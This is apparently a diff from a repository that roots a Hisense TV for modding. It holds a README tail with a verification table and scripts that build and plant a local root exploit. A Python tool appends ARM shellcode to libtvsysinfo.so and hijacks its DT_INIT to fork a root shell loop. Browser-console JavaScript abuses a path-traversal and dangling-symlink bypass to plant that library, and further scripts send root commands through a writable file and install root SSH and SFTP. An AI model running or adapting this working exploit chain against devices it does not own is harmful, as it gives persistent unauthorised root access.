| Original `libtvsysinfo.so` | `artifacts/tvi_original.so` | 33.220 B / `36ddee4782cdcff7a0f1d94e8b3491ea6fe228d13bfef3ea137a98f142ff3b7c` |
|
||||
| Root-Payload | `tools/pub/libtvsysinfo.so` | 33.500 B / `37b13f91959acea9b3c3fd4d0e62bb2d4cb41f773add060bef68ac67657f5b0a` |
|
||||
| Dropbear | `tools/pub/dropbear` | 882.204 B / `976ec57e401765d5fc9c0a201d19c997c004dcf91a8d4bdb039bbb8419071eae` |
|
||||
| Dropbearkey | `tools/pub/dropbearkey` | 755.452 B / `3fbfa60891b3a9f3e971a24071ed4d14c93ee3e773dd6f4969646cc811b0dbbf` |
|
||||
| Dropbear-Quelle | `sources/dropbear-2022.83.tar.bz2` | `bc5a121ffbc94b5171ad5ebe01be42746d50aa797c9549a4639894a16749443b` |
|
||||
| SFTP-Server | `tools/pub/sftp-server` | 635.680 B / `d0f7700e84e582aef3948c29e4317fb0119e13393374a7455922ffa8d01202f3` |
|
||||
| Dropbear (SFTP) | `tools/pub/dropbear-sftp` | 882.204 B / `a21b0d3e53dd1d124105350319df45a2b44e7cef70dd29b418644b11fdcfed57` |
|
||||
| OpenSSH-Quelle | `sources/openssh-9.9p1.tar.gz` | `b343fbcdbff87f15b1986e6e15d6d4fc9a7d36066be6b7fb507087ba8f966c02` |
|
||||
| Host-Key (SSH) | TV: `/3rd_rw/sshd/host_key` | Ed25519 / `SHA256:7tFL8xcKAh7+wC/3T5QiutxYMqcBTM7p+P4uEMAOwts` |
|
||||
| Dein Auth-Key | `tools/pub/authorized_keys` | Fingerprint `SHA256:RzgGjRHkR756azwKjS6mTClWOZFa/nyLMdi7TqgrHoY` |
|
||||
| Root-Proof | TV: `/3rd_rw/root_proof.txt` | `ROOT_EXEC_TVI\n` |
|
||||
| Root-Loop | TV: `/3rd_rw/appdata/root_loop.sh` | PID: `/3rd_rw/appdata/root_loop.pid` |
|
||||
|
||||
`SHA256SUMS` im Top-Level: `cd /workspace/hisense-he40e5600-root-modding && sha256sum -c SHA256SUMS`.
|
||||
|
||||
---
|
||||
|
||||
## 14. Sicherheit / Grenzen
|
||||
|
||||
- **SSH ist key-only, root, im LAN.** Kein Passwort-Login; der private Key ist der einzige Zugang. Nicht ins Internet exponieren.
|
||||
- **SFTP ist optional und root-equivalent.** Key-only wie SSH; der sftp-server läuft als root. Installation testet zuerst Port 2222; Backup `/3rd_rw/sshd/dropbear.nosftp`; Rollback in 9.4.
|
||||
- **Der Root-Loop ist root-equivalent.** Wer `/3rd_rw/appdata/root_cmd.sh` schreiben kann (der Browser läuft als root), kann Root-Befehle ausführen. Gewollt, aber entsprechend behandeln.
|
||||
- **Kein Flash, kein `.pkg`, kein Bootloader.** Rootfs und `/3rd` sind squashfs-ro; Änderungen liegen in `/3rd_rw` (rw), `/data` (rw), `/perm` (rw) und in Bind-Mounts.
|
||||
- **`/etc/passwd`-Bind** ändert nur die Laufzeit-Sicht (Root-Home/Shell); die ro Originaldatei bleibt unverändert. Ein Reboot ohne Startskript stellt den Originalzustand her.
|
||||
- **Persistenz** kommt vom `HamService`-Wrapper (und ggf. `developer.sh`). Der `libtvsysinfo`-Shadow löscht sich selbst.
|
||||
- **Firmware-Updates** können Pfade/Verhalten ändern; danach Loader-Reihenfolge, HamService-Hook und `/3rd_rw` prüfen.
|
||||
- **Keine Secrets im Ordner:** kein Root-Hash, kein privater SSH-Key. Nur Public Key + Host-Fingerprint.
|
||||
|
||||
---
|
||||
|
||||
## 15. Verifikationsstatus
|
||||
|
||||
| Punkt | Status |
|
||||
|---|---|
|
||||
| Browser root (UID 0, CapEff full) | **CONFIRMED live** |
|
||||
| USB-ext4-Symlink-Bypass | **CONFIRMED live** (`/3rd_rw/root_proof.txt`) |
|
||||
| `libtvsysinfo`-Shadow / DT_INIT | **CONFIRMED live** (`ROOT_EXEC_TVI`, Self-Unlink) |
|
||||
| Root-Loop / Kommandokanal | **CONFIRMED live** (`uid=0`, `root_out.txt`) |
|
||||
| Dropbear-SSH, Port 22 | **CONFIRMED live** (`00000000:0016`) |
|
||||
| SSH-Pubkey-Auth als root | **CONFIRMED live** (`Pubkey auth succeeded for 'root'`) |
|
||||
| PTY / interaktive Shell | **CONFIRMED live** (Session pts/0; `busybox script` → `uid=0(root)`) |
|
||||
| SFTP (optional) | static sftp-server + patched Dropbear; Installer testet 2222 vor 22; **TV-Test nach Install** |
|
||||
| Boot-Persistenz (HamService-Wrapper) | eingerichtet; Reboot-Test in dieser Doku beschrieben |
|
||||
| Payload-Build reproduzierbar | **CONFIRMED** (`build_tvi_payload.py` → exakt `37b13f…`) |
|
||||
|
||||
**Scripts:** `tools/pub/*` ist der ausgelieferte Stand; `scripts/tv/*` die Quelle. `deploy_sshd.sh` entspricht dem manuell live ausgeführten Setup. `prepare_usb.sh`/`start_http.sh`/`plant_payload.js`/`upload_to_appdata.js`/`run_root_cmd.js` sind die Host-/TV-Helfer. `build_dropbear.sh` baut die in `tools/pub` liegenden Binaries reproduzierbar aus `sources/`; `build_sftp_server.sh` baut den statischen sftp-server; `install_sftp.sh` installiert/testet SFTP.
|
||||
|
||||
Viel Erfolg. Und: erst backupen, dann modden. :)
|
||||
@@ -0,0 +1 @@
|
||||
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKLzgdRrwTGWMSHIurddPrQBY/2zOk+BlsU4jJWtPh/B vidaa-root
|
||||
@@ -0,0 +1 @@
|
||||
SHA256:7tFL8xcKAh7+wC/3T5QiutxYMqcBTM7p+P4uEMAOwts
|
||||
Binary file not shown.
Executable
+50
@@ -0,0 +1,50 @@
|
||||
#!/usr/bin/env bash
|
||||
# Rebuilds the static ARM Dropbear 2022.83 (key-only) from the included source.
|
||||
# Only needed if you do not want to use the prebuilt binaries in tools/pub/.
|
||||
set -euo pipefail
|
||||
HERE="$(cd "$(dirname "$0")" && pwd)"
|
||||
ROOT="$(cd "$HERE/../.." && pwd)"
|
||||
TOP="$(cd "$ROOT/.." && pwd)"
|
||||
SRC="$TOP/sources/dropbear-2022.83.tar.bz2"
|
||||
BUILD="$TOP/build/dropbear"
|
||||
TAR_SHA="bc5a121ffbc94b5171ad5ebe01be42746d50aa797c9549a4639894a16749443b"
|
||||
|
||||
[ -f "$SRC" ] || { echo "missing $SRC"; exit 1; }
|
||||
echo "$TAR_SHA $SRC" | sha256sum -c -
|
||||
command -v arm-linux-gnueabihf-gcc >/dev/null || { echo "missing arm-linux-gnueabihf-gcc"; exit 1; }
|
||||
|
||||
rm -rf "$BUILD"; mkdir -p "$BUILD"
|
||||
tar xjf "$SRC" -C "$BUILD"
|
||||
cd "$BUILD/dropbear-2022.83"
|
||||
|
||||
./configure --host=arm-linux-gnueabihf \
|
||||
--disable-zlib --disable-pam --disable-shadow \
|
||||
--disable-lastlog --disable-utmp --disable-wtmp \
|
||||
--disable-utmpx --disable-wtmpx \
|
||||
--disable-pututline --disable-pututxline \
|
||||
CC=arm-linux-gnueabihf-gcc \
|
||||
CFLAGS="-Os -static" LDFLAGS="-static"
|
||||
|
||||
# Key-only root SSH; no password auth, no client.
|
||||
cat >> localoptions.h <<'EOF'
|
||||
|
||||
#define DROPBEAR_SVR_PASSWORD_AUTH 0
|
||||
#define DROPBEAR_SVR_PUBKEY_AUTH 1
|
||||
#define DROPBEAR_CLIENT 0
|
||||
EOF
|
||||
|
||||
make -j"$(nproc)" PROGRAMS="dropbear dropbearkey"
|
||||
|
||||
cp -f dropbear "$ROOT/tools/pub/dropbear"
|
||||
cp -f dropbearkey "$ROOT/tools/pub/dropbearkey"
|
||||
chmod 755 "$ROOT/tools/pub/dropbear" "$ROOT/tools/pub/dropbearkey"
|
||||
|
||||
# Optional SFTP: Dropbear has no sftp-server; patch SFTPSERVER_PATH to the
|
||||
# writable /3rd_rw/sshd path. The static sftp-server comes from
|
||||
# build_sftp_server.sh.
|
||||
python3 "$HERE/patch_dropbear_sftp.py"
|
||||
|
||||
echo "---"
|
||||
file "$ROOT/tools/pub/dropbear" "$ROOT/tools/pub/dropbear-sftp" "$ROOT/tools/pub/dropbearkey"
|
||||
readelf -d "$ROOT/tools/pub/dropbear" 2>&1 | head -5 || true
|
||||
sha256sum "$ROOT/tools/pub/dropbear" "$ROOT/tools/pub/dropbear-sftp" "$ROOT/tools/pub/dropbearkey"
|
||||
Executable
+15
@@ -0,0 +1,15 @@
|
||||
#!/usr/bin/env bash
|
||||
# Builds the final libtvsysinfo payload from the included original.
|
||||
# Requires: python3, arm-linux-gnueabihf-{as,ld,objcopy}.
|
||||
set -euo pipefail
|
||||
HERE="$(cd "$(dirname "$0")" && pwd)"
|
||||
ROOT="$(cd "$HERE/../.." && pwd)"
|
||||
|
||||
for t in arm-linux-gnueabihf-as arm-linux-gnueabihf-ld arm-linux-gnueabihf-objcopy python3; do
|
||||
command -v "$t" >/dev/null || { echo "missing: $t"; exit 1; }
|
||||
done
|
||||
|
||||
python3 "$HERE/build_tvi_payload.py"
|
||||
echo "---"
|
||||
sha256sum "$ROOT/tools/pub/libtvsysinfo.so"
|
||||
echo "expected: 37b13f91959acea9b3c3fd4d0e62bb2d4cb41f773add060bef68ac67657f5b0a"
|
||||
Executable
+44
@@ -0,0 +1,44 @@
|
||||
#!/usr/bin/env bash
|
||||
# build_sftp_server.sh — rebuild the static ARM OpenSSH sftp-server.
|
||||
#
|
||||
# Source: https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/
|
||||
# openssh-9.9p1.tar.gz
|
||||
# The TV has glibc 2.18 and no package manager; a static build is used.
|
||||
# Only sftp-server is built (no ssh/sshd, no OpenSSL/zlib/PAM needed).
|
||||
set -euo pipefail
|
||||
|
||||
HERE="$(cd "$(dirname "$0")" && pwd)"
|
||||
ROOT="$(cd "$HERE/../.." && pwd)"
|
||||
TOP="$(cd "$ROOT/.." && pwd)"
|
||||
SRC="$TOP/sources/openssh-9.9p1.tar.gz"
|
||||
BUILD="$TOP/build/openssh"
|
||||
TAR_SHA="b343fbcdbff87f15b1986e6e15d6d4fc9a7d36066be6b7fb507087ba8f966c02"
|
||||
|
||||
[ -f "$SRC" ] || { echo "missing $SRC"; exit 1; }
|
||||
echo "$TAR_SHA $SRC" | sha256sum -c -
|
||||
command -v arm-linux-gnueabihf-gcc >/dev/null || { echo "missing arm-linux-gnueabihf-gcc"; exit 1; }
|
||||
|
||||
rm -rf "$BUILD"; mkdir -p "$BUILD"
|
||||
tar xzf "$SRC" -C "$BUILD"
|
||||
cd "$BUILD/openssh-9.9p1"
|
||||
|
||||
./configure --host=arm-linux-gnueabihf \
|
||||
--without-openssl --without-zlib --without-pam \
|
||||
--disable-etc-default-login --disable-lastlog --disable-utmp --disable-wtmp \
|
||||
--disable-utmpx --disable-wtmpx --without-selinux --without-audit \
|
||||
CC=arm-linux-gnueabihf-gcc CFLAGS="-Os -fno-pie" LDFLAGS="-static -no-pie"
|
||||
|
||||
make -j"$(nproc)" sftp-server
|
||||
arm-linux-gnueabihf-strip sftp-server
|
||||
cp -f sftp-server "$ROOT/tools/pub/sftp-server"
|
||||
chmod 755 "$ROOT/tools/pub/sftp-server"
|
||||
|
||||
echo "---"
|
||||
file "$ROOT/tools/pub/sftp-server"
|
||||
readelf -d "$ROOT/tools/pub/sftp-server" 2>&1 | head -5 || true
|
||||
sha256sum "$ROOT/tools/pub/sftp-server"
|
||||
|
||||
if command -v qemu-arm >/dev/null; then
|
||||
echo "--- qemu smoke ---"
|
||||
timeout 3 qemu-arm "$ROOT/tools/pub/sftp-server" -h 2>&1 | head -5 || true
|
||||
fi
|
||||
Executable
+118
@@ -0,0 +1,118 @@
|
||||
#!/usr/bin/env python3
|
||||
import struct, subprocess, os, sys, tempfile
|
||||
|
||||
HERE = os.path.dirname(os.path.abspath(__file__))
|
||||
|
||||
def parse_elf(d):
|
||||
e_phoff = struct.unpack_from('<I', d, 28)[0]
|
||||
e_phentsize = struct.unpack_from('<H', d, 42)[0]
|
||||
e_phnum = struct.unpack_from('<H', d, 44)[0]
|
||||
ph = []
|
||||
for i in range(e_phnum):
|
||||
o = e_phoff + i*e_phentsize
|
||||
t,off,va,pa,fs,ms,fl,al = struct.unpack_from('<8I', d, o)
|
||||
ph.append(dict(type=t, off=off, va=va, fs=fs, ms=ms, fl=fl))
|
||||
return ph
|
||||
|
||||
def find_dyn_init(d, ph):
|
||||
for p in ph:
|
||||
if p['type'] != 2: continue
|
||||
off = p['off']
|
||||
for j in range(0, p['fs'], 8):
|
||||
tag, val = struct.unpack_from('<II', d, off+j)
|
||||
if tag == 12:
|
||||
return off+j, val
|
||||
return None, None
|
||||
|
||||
def gen_asm(cave, orig, selfpath, proofpath, msg, sh, script, test=False):
|
||||
mlen = len(msg.encode('latin1'))
|
||||
s = []
|
||||
s.append(' .arm\n .syntax unified\n .text\n .global _start\n_start:\n')
|
||||
s.append(' push {r4-r7, r8, lr}\n')
|
||||
# unlink self first
|
||||
s.append(' adr r0, selfp\n mov r7, #10\n svc #0\n')
|
||||
# write proof
|
||||
s.append(' adr r0, proofp\n movw r1, #0x241\n movw r2, #0x1a4\n mov r7, #5\n svc #0\n')
|
||||
s.append(' mov r4, r0\n cmp r4, #0\n blt 1f\n')
|
||||
s.append(' mov r0, r4\n adr r1, msgs\n mov r2, #%d\n mov r7, #4\n svc #0\n' % mlen)
|
||||
s.append(' mov r0, r4\n mov r7, #6\n svc #0\n1:\n')
|
||||
# fork
|
||||
s.append(' mov r7, #2\n svc #0\n cmp r0, #0\n bne 2f\n')
|
||||
# child execve
|
||||
s.append(' adr r0, shp\n adr r1, scriptp\n mov r2, #0\n sub sp, sp, #12\n')
|
||||
s.append(' str r0, [sp]\n str r1, [sp, #4]\n str r2, [sp, #8]\n')
|
||||
s.append(' mov r1, sp\n mov r2, #0\n mov r7, #11\n svc #0\n')
|
||||
s.append(' mov r0, #1\n mov r7, #1\n svc #0\n2:\n')
|
||||
# call original init: PC-relative BL, base-independent
|
||||
if test:
|
||||
s.append(' bl orig_stub\n')
|
||||
else:
|
||||
s.append(' bl orig_init\n')
|
||||
s.append(' pop {r4-r7, r8, pc}\n')
|
||||
s.append('here:\n .balign 4\n')
|
||||
s.append('proofp: .asciz "%s"\n .balign 4\n' % proofpath)
|
||||
s.append('msgs: .ascii "%s"\n .balign 4\n' % msg.replace('\n','\\n'))
|
||||
s.append('selfp: .asciz "%s"\n .balign 4\n' % selfpath)
|
||||
s.append('shp: .asciz "%s"\n .balign 4\n' % sh)
|
||||
s.append('scriptp: .asciz "%s"\n .balign 4\n' % script)
|
||||
if test:
|
||||
s.append('orig_stub:\n bx lr\n .balign 4\n')
|
||||
else:
|
||||
s.append(' .equ orig_init, %d\n' % orig)
|
||||
return ''.join(s)
|
||||
|
||||
def build(name, src, out, selfpath, proofpath, msg, test=False, orig_override=None, script='/3rd_rw/appdata/root_loop.sh'):
|
||||
d = bytearray(open(src,'rb').read())
|
||||
ph = parse_elf(d)
|
||||
rx = [p for p in ph if p['type']==1][0]
|
||||
dyn_off, orig = find_dyn_init(d, ph)
|
||||
if orig_override is not None: orig = orig_override
|
||||
if dyn_off is None: raise SystemExit('no DT_INIT')
|
||||
if rx['ms'] != rx['fs']:
|
||||
raise SystemExit('RX segment has BSS; append would collide')
|
||||
cave = len(d)
|
||||
asm = gen_asm(cave, orig, selfpath, proofpath, msg, '/bin/sh', script, test=test)
|
||||
td = tempfile.mkdtemp(prefix='pl_')
|
||||
sp = os.path.join(td,'p.s'); op = os.path.join(td,'p.o'); ep = os.path.join(td,'p.elf'); bp = os.path.join(td,'p.bin')
|
||||
open(sp,'w').write(asm)
|
||||
subprocess.run(['arm-linux-gnueabihf-as','-o',op,sp],check=True)
|
||||
subprocess.run(['arm-linux-gnueabihf-ld','-Ttext=0x%x'%cave,'-e','0','-o',ep,op],check=True)
|
||||
subprocess.run(['arm-linux-gnueabihf-objcopy','-O','binary','-j','.text',ep,bp],check=True)
|
||||
code = open(bp,'rb').read()
|
||||
oldsize = len(d)
|
||||
d += code
|
||||
newsize = len(d)
|
||||
# find the first LOAD program header file offset and extend filesz/memsz
|
||||
e_phoff = struct.unpack_from('<I', d, 28)[0]
|
||||
e_phentsize = struct.unpack_from('<H', d, 42)[0]
|
||||
e_phnum = struct.unpack_from('<H', d, 44)[0]
|
||||
patched = False
|
||||
for i in range(e_phnum):
|
||||
o = e_phoff + i*e_phentsize
|
||||
t,off,va,pa,fs,ms,fl,al = struct.unpack_from('<8I', d, o)
|
||||
if t == 1 and off == rx['off'] and va == rx['va']:
|
||||
struct.pack_into('<I', d, o+16, newsize)
|
||||
struct.pack_into('<I', d, o+20, newsize)
|
||||
patched = True
|
||||
break
|
||||
if not patched: raise SystemExit('RX program header not found')
|
||||
struct.pack_into('<I', d, dyn_off+4, cave)
|
||||
open(out,'wb').write(d)
|
||||
ph2 = parse_elf(d)
|
||||
_, o2 = find_dyn_init(d, ph2)
|
||||
print('%s: code 0x%x, cave 0x%x, orig 0x%x, size 0x%x->0x%x, INIT 0x%x, RX page end 0x%x' % (
|
||||
name, len(code), cave, orig, oldsize, newsize, o2, (newsize+0xfff)&~0xfff))
|
||||
|
||||
if __name__ == '__main__':
|
||||
here = os.path.dirname(os.path.abspath(__file__))
|
||||
root = os.path.abspath(os.path.join(here, '..', '..'))
|
||||
src = os.path.join(root, 'artifacts', 'tvi_original.so')
|
||||
out = os.path.join(root, 'tools', 'pub', 'libtvsysinfo.so')
|
||||
build('tvi', src, out,
|
||||
'/3rd_rw/loglevel/lib/libtvsysinfo.so',
|
||||
'/3rd_rw/root_proof.txt',
|
||||
'ROOT_EXEC_TVI\n')
|
||||
import hashlib
|
||||
h = hashlib.sha256(open(out, 'rb').read()).hexdigest()
|
||||
print('sha256', h)
|
||||
print('expected 37b13f91959acea9b3c3fd4d0e62bb2d4cb41f773add060bef68ac67657f5b0a')
|
||||
Executable
+85
@@ -0,0 +1,85 @@
|
||||
#!/usr/bin/env bash
|
||||
# install_sftp.sh — one-command, key-only SFTP for the TV.
|
||||
#
|
||||
# Uploads use only `ssh` + stdin; an `sftp` client is needed only for the test:
|
||||
# 1. uploads the static OpenSSH sftp-server and the patched Dropbear
|
||||
# 2. starts a test Dropbear on port 2222 (port 22 untouched)
|
||||
# 3. tests a real SFTP session on 2222
|
||||
# 4. only on success swaps the binary on port 22
|
||||
# 5. tests SFTP on 22
|
||||
#
|
||||
# Usage:
|
||||
# cd /workspace/hisense-he40e5600-root-modding
|
||||
# root/scripts/host/install_sftp.sh
|
||||
# TV=root@192.168.188.94 SSH_KEY=~/.ssh/id_ed25519 root/scripts/host/install_sftp.sh
|
||||
#
|
||||
# The TV login is key-only. The private key is never copied anywhere.
|
||||
set -euo pipefail
|
||||
|
||||
HERE="$(cd "$(dirname "$0")" && pwd)"
|
||||
ROOT="$(cd "$HERE/../.." && pwd)"
|
||||
TV="${TV:-root@192.168.188.94}"
|
||||
SSH_KEY="${SSH_KEY:-}"
|
||||
|
||||
command -v ssh >/dev/null || { echo "missing ssh client"; exit 1; }
|
||||
command -v sftp >/dev/null || { echo "missing sftp client (OpenSSH)"; exit 1; }
|
||||
|
||||
SSH_OPTS=(-o BatchMode=yes -o ConnectTimeout=8 -o StrictHostKeyChecking=accept-new)
|
||||
SFTP_OPTS=(-o BatchMode=yes -o ConnectTimeout=8 -o StrictHostKeyChecking=accept-new)
|
||||
if [ -n "$SSH_KEY" ]; then
|
||||
SSH_OPTS+=(-i "$SSH_KEY")
|
||||
SFTP_OPTS+=(-i "$SSH_KEY")
|
||||
fi
|
||||
SSH=(ssh "${SSH_OPTS[@]}" "$TV")
|
||||
|
||||
for f in \
|
||||
"$ROOT/tools/pub/sftp-server" \
|
||||
"$ROOT/tools/pub/dropbear-sftp" \
|
||||
"$ROOT/scripts/tv/install_sftp_stage.sh" \
|
||||
"$ROOT/scripts/tv/enable_sftp.sh" \
|
||||
"$ROOT/scripts/tv/swap_sftp.sh"; do
|
||||
[ -f "$f" ] || { echo "missing: $f"; exit 1; }
|
||||
done
|
||||
|
||||
echo "=== TV: $TV ==="
|
||||
"${SSH[@]}" 'PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin; export PATH; /bin/cat /proc/self/status | /bin/grep -E "^(Uid|Gid|CapEff):"'
|
||||
|
||||
echo "=== upload ==="
|
||||
"${SSH[@]}" '/bin/mkdir -p /3rd_rw/appdata /3rd_rw/sshd'
|
||||
"${SSH[@]}" '/bin/cat > /3rd_rw/appdata/sftp-server' < "$ROOT/tools/pub/sftp-server"
|
||||
"${SSH[@]}" '/bin/cat > /3rd_rw/appdata/dropbear-sftp' < "$ROOT/tools/pub/dropbear-sftp"
|
||||
"${SSH[@]}" '/bin/cat > /3rd_rw/appdata/install_sftp_stage.sh' < "$ROOT/scripts/tv/install_sftp_stage.sh"
|
||||
"${SSH[@]}" '/bin/cat > /3rd_rw/appdata/enable_sftp.sh' < "$ROOT/scripts/tv/enable_sftp.sh"
|
||||
"${SSH[@]}" '/bin/cat > /3rd_rw/appdata/swap_sftp.sh' < "$ROOT/scripts/tv/swap_sftp.sh"
|
||||
"${SSH[@]}" '/bin/cat > /3rd_rw/appdata/deploy_sshd.sh' < "$ROOT/scripts/tv/deploy_sshd.sh"
|
||||
"${SSH[@]}" '/bin/chmod 755 /3rd_rw/appdata/sftp-server /3rd_rw/appdata/dropbear-sftp \
|
||||
/3rd_rw/appdata/install_sftp_stage.sh /3rd_rw/appdata/enable_sftp.sh /3rd_rw/appdata/swap_sftp.sh \
|
||||
/3rd_rw/appdata/deploy_sshd.sh'
|
||||
|
||||
echo "=== stage + test on 2222 ==="
|
||||
"${SSH[@]}" '/bin/sh /3rd_rw/appdata/install_sftp_stage.sh'
|
||||
|
||||
if printf 'pwd\nls /3rd_rw/UI\nbye\n' | sftp "${SFTP_OPTS[@]}" -P 2222 -b - "$TV"; then
|
||||
echo "SFTP on 2222 OK"
|
||||
else
|
||||
echo "SFTP on 2222 FAILED; port 22 was not touched."
|
||||
"${SSH[@]}" '/bin/busybox tail -n 40 /3rd_rw/sshd/dropbear2222.log 2>&1 || true' || true
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "=== swap to port 22 ==="
|
||||
"${SSH[@]}" '/bin/sh /3rd_rw/appdata/enable_sftp.sh' || true
|
||||
sleep 8
|
||||
|
||||
echo "=== test on 22 ==="
|
||||
if printf 'pwd\nls /3rd_rw/UI\nbye\n' | sftp "${SFTP_OPTS[@]}" -b - "$TV"; then
|
||||
echo "DONE: sftp $TV"
|
||||
echo "Rollback:"
|
||||
echo " ssh $TV 'cp -f /3rd_rw/sshd/dropbear.nosftp /3rd_rw/sshd/dropbear; kill \$(cat /3rd_rw/sshd/dropbear.pid) 2>/dev/null; /bin/sh /3rd_rw/sshd/start_sshd.sh'"
|
||||
else
|
||||
echo "SFTP on 22 FAILED"
|
||||
"${SSH[@]}" '/bin/busybox tail -n 40 /3rd_rw/sshd/swap.log; /bin/busybox tail -n 40 /3rd_rw/sshd/dropbear.log' 2>&1 || true
|
||||
echo "Restore the known-good non-SFTP Dropbear (if port 22 is up):"
|
||||
echo " ssh $TV 'cp -f /3rd_rw/sshd/dropbear.nosftp /3rd_rw/sshd/dropbear; kill \$(cat /3rd_rw/sshd/dropbear.pid) 2>/dev/null; /bin/sh /3rd_rw/sshd/start_sshd.sh'"
|
||||
exit 1
|
||||
fi
|
||||
Executable
+35
@@ -0,0 +1,35 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Create a Dropbear copy whose SFTP subsystem points at /3rd_rw/sshd/sftp-server.
|
||||
|
||||
Dropbear does not ship an sftp-server; it execs the compile-time
|
||||
SFTPSERVER_PATH (default /usr/libexec/sftp-server). The target rootfs is
|
||||
read-only, so this copy uses the writable /3rd_rw/sshd path instead.
|
||||
The replacement has exactly the same length, so no ELF offsets change.
|
||||
"""
|
||||
import hashlib
|
||||
import pathlib
|
||||
import sys
|
||||
|
||||
ROOT = pathlib.Path(__file__).resolve().parents[2] # .../root
|
||||
SRC = ROOT / "tools" / "pub" / "dropbear"
|
||||
DST = ROOT / "tools" / "pub" / "dropbear-sftp"
|
||||
OLD = b"/usr/libexec/sftp-server"
|
||||
NEW = b"/3rd_rw/sshd/sftp-server"
|
||||
|
||||
def main() -> int:
|
||||
data = SRC.read_bytes()
|
||||
if len(OLD) != len(NEW):
|
||||
sys.exit(f"length mismatch: {len(OLD)} != {len(NEW)}")
|
||||
n = data.count(OLD)
|
||||
if n != 1:
|
||||
sys.exit(f"expected exactly 1 occurrence of {OLD!r}, found {n}")
|
||||
DST.write_bytes(data.replace(OLD, NEW))
|
||||
DST.chmod(0o755)
|
||||
h = hashlib.sha256(DST.read_bytes()).hexdigest()
|
||||
print(f"wrote {DST}")
|
||||
print(f"sha256 {h}")
|
||||
print(f"size {DST.stat().st_size}")
|
||||
return 0
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
@@ -0,0 +1,22 @@
|
||||
// plant_payload.js — paste into the TV recon page console.
|
||||
// Prerequisite: the ext4 stick is mounted; /mnt/usb/<dev>/tvi is a dangling
|
||||
// symlink to /3rd_rw/loglevel/lib/libtvsysinfo.so.
|
||||
//
|
||||
// 1) listDir("/mnt/usb") -> e.g. "sda1"
|
||||
// 2) set usb below
|
||||
// 3) run; expect download=0 and back=0
|
||||
// 4) reboot the TV
|
||||
(function(){
|
||||
var usb = "/mnt/usb/sda1"; // <-- adjust from listDir("/mnt/usb")
|
||||
var target = "so/../../../../dev/shm/shm_tmp" + usb + "/tvi";
|
||||
var url = location.origin + "/pub/libtvsysinfo.so";
|
||||
var o = {};
|
||||
o.usb = usb;
|
||||
o.target = target;
|
||||
o.download = HiBrowser.File.download(url, target, 1);
|
||||
o.back = HiBrowser.File.download("file:///3rd_rw/loglevel/lib/libtvsysinfo.so",
|
||||
"tvi_check_plant.so", 1);
|
||||
o.size = "expected 33500 bytes";
|
||||
fetch("/recon", {method:"POST", body:"PLANT "+JSON.stringify(o)});
|
||||
return o;
|
||||
})();
|
||||
Executable
+49
@@ -0,0 +1,49 @@
|
||||
#!/usr/bin/env bash
|
||||
# Prepares the ext4 USB stick for the dangling-symlink whitelist bypass.
|
||||
# DESTRUCTIVE: wipes the given block device.
|
||||
#
|
||||
# Usage: sudo ./prepare_usb.sh /dev/sdX
|
||||
# The TV mounts partitions, not whole-disk superfloppies -> MBR + ext4.
|
||||
set -euo pipefail
|
||||
|
||||
DEV="${1:-}"
|
||||
if [ -z "$DEV" ] || [ ! -b "$DEV" ]; then
|
||||
echo "usage: $0 /dev/sdX (block device, e.g. /dev/sdb)"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
case "$DEV" in
|
||||
*mmcblk*|*nvme*) PART="${DEV}p1" ;;
|
||||
*) PART="${DEV}1" ;;
|
||||
esac
|
||||
|
||||
echo "!!! This will DESTROY $DEV and create MBR + ext4 on $PART."
|
||||
lsblk -o NAME,SIZE,MODEL,LABEL "$DEV" || true
|
||||
read -r -p "Type YES to continue: " confirm
|
||||
[ "$confirm" = "YES" ] || { echo "aborted"; exit 1; }
|
||||
|
||||
sudo wipefs -a "$DEV"
|
||||
sudo parted -s "$DEV" mklabel msdos mkpart primary ext4 1MiB 100%
|
||||
sudo mkfs.ext4 -F -O ^64bit,^metadata_csum -L TVSYM "$PART"
|
||||
|
||||
sudo mkdir -p /mnt/tvsym
|
||||
sudo mount "$PART" /mnt/tvsym
|
||||
sudo ln -sfn /3rd_rw/loglevel/lib/libtvsysinfo.so /mnt/tvsym/tvi
|
||||
sudo ln -sfn /3rd_rw/root_proof.txt /mnt/tvsym/pwn
|
||||
ls -l /mnt/tvsym
|
||||
sudo sync
|
||||
sudo umount /mnt/tvsym
|
||||
|
||||
cat <<EOF
|
||||
|
||||
Done: $PART (label TVSYM), symlinks:
|
||||
tvi -> /3rd_rw/loglevel/lib/libtvsysinfo.so (required; must stay dangling)
|
||||
pwn -> /3rd_rw/root_proof.txt (optional proof target)
|
||||
|
||||
Next:
|
||||
1. Insert the stick into the TV.
|
||||
2. On the TV open http://<host-ip>:9000/recon.html
|
||||
3. In the page console run root/scripts/host/plant_payload.js
|
||||
(adjust the USB device, e.g. sda1, from listDir("/mnt/usb")).
|
||||
4. Reboot the TV.
|
||||
EOF
|
||||
@@ -0,0 +1,21 @@
|
||||
// run_root_cmd.js — paste into the TV recon page console.
|
||||
// The root_loop.sh (started by the payload / HamService wrapper) executes
|
||||
// /3rd_rw/appdata/root_cmd.sh and writes /3rd_rw/appdata/root_out.txt.
|
||||
//
|
||||
// Change CMD as needed. Examples:
|
||||
// "/bin/sh /3rd_rw/appdata/deploy_sshd.sh"
|
||||
// "id; cat /proc/self/status | grep -E '^(Uid|Gid|CapEff):'"
|
||||
// "/bin/sh /3rd_rw/appdata/verify.sh"
|
||||
// "/bin/sh /3rd_rw/appdata/rollback.sh"
|
||||
(function(cmd){
|
||||
var o = {};
|
||||
o.write = HiBrowser.File.write("root_cmd.sh", cmd + "\n", 1);
|
||||
o.cmd = cmd;
|
||||
setTimeout(function(){
|
||||
var out = fileXHR("file:///3rd_rw/appdata/root_out.txt");
|
||||
o.out = out;
|
||||
console.log(out);
|
||||
fetch("/recon", {method:"POST", body:"ROOTOUT "+JSON.stringify(o)});
|
||||
}, 5000);
|
||||
return o;
|
||||
})("/bin/sh /3rd_rw/appdata/deploy_sshd.sh");
|
||||
Executable
+12
@@ -0,0 +1,12 @@
|
||||
#!/usr/bin/env bash
|
||||
# Serves root/tools/recon.html + root/tools/pub/* on port 9000 (or $1).
|
||||
set -euo pipefail
|
||||
HERE="$(cd "$(dirname "$0")" && pwd)"
|
||||
cd "$HERE/../tools"
|
||||
PORT="${1:-9000}"
